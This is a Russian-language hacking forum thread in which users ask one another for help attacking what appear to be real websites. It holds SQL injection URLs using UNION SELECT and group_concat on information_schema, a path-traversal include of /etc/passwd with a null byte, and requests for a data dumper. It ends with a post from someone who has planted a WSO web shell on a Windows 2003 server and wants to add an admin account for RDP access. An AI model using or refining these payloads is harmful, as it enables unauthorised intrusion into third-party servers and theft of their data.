hacker-nubik http://raz0r.name/obzory/group_concat/ и особенно, ближе к самому концу, коммент от iHornet еще сюда: https://rdot.org/forum/showthread.php?t=60 глянь а как это к слепой прикрутить включай мозг
помогите заинклудить http://luvaccessories.com/shopping.php?category_name=Romantic_Gifts&page=../../../../etc/pssswd%00
http://www.skunk2.com/news2.php?news_id=43+union+select+1,2-- выдает ошибку хотя количество полей подобрано верно обьясните почему и как выкрутиться
я пробовал неполучилось пишет error can't open file а теперь в предачу еще пишет You were denied access because: Access denied by access control list. но это изза прокси... может посоветуете какойнибудь провереный дампер
как узнать список таблиц из определенной бд? я пробовал чтото вроде этого http://www.ччч.ru/news.php?id=-45+union+select+1,2,3,4,5,unhex%28hex%28group_concat%28table_name%29%29%29,7,8,9,10+from+information_schema.schemata+where+schema_name=0x00000000 невыйшло..
547 1) кавычки хексить/чарить не надо; 2) если бока, то тащи с INFORMATION_SCHEMA.COLUMNS->TABLE_NAME или Mysql->columns_priv-> Table_name если возможно.
SELECT title FROM leader_page_titles WHERE '/news.php?newsid=тут иньекция' LIKE CONCAT('%',url,'%') как раскрутить?
если с /display.php?selected=322' выдается ошибка Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ..., но 323-1, любые комментарии, в т.ч. /**/ выдают ошибку, selected=(select 322) тоже, о чем это может говорить? смущает то, что если бы софтина была написана правильно, ошибки бы не было, но не могу понять, какое фильтрование используется...
Это всё уже попробовал,не катит. Пишет You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and+union+select+1/*' LIKE CONCAT('%',url,'%')' at line 1
ну могу тебе сказать тока как и предыдущему человеку кидай сыль в личку... ему ответ кинул надеюсь поможет ... если смогу и тебе помогу..
А почему в личку?мне не жалко,просто из принципа раскрутить хочется. view-source:http://znakomye.ru/news.php?дальше скуля
Народ, такой вопрос. Вообщем залил шел wso2 на win2k3 имею полный доступ ко всему что находится на винте. Как через шелл создать юзера и добавить его в группу админов что бы я мог зайти на RDP ?
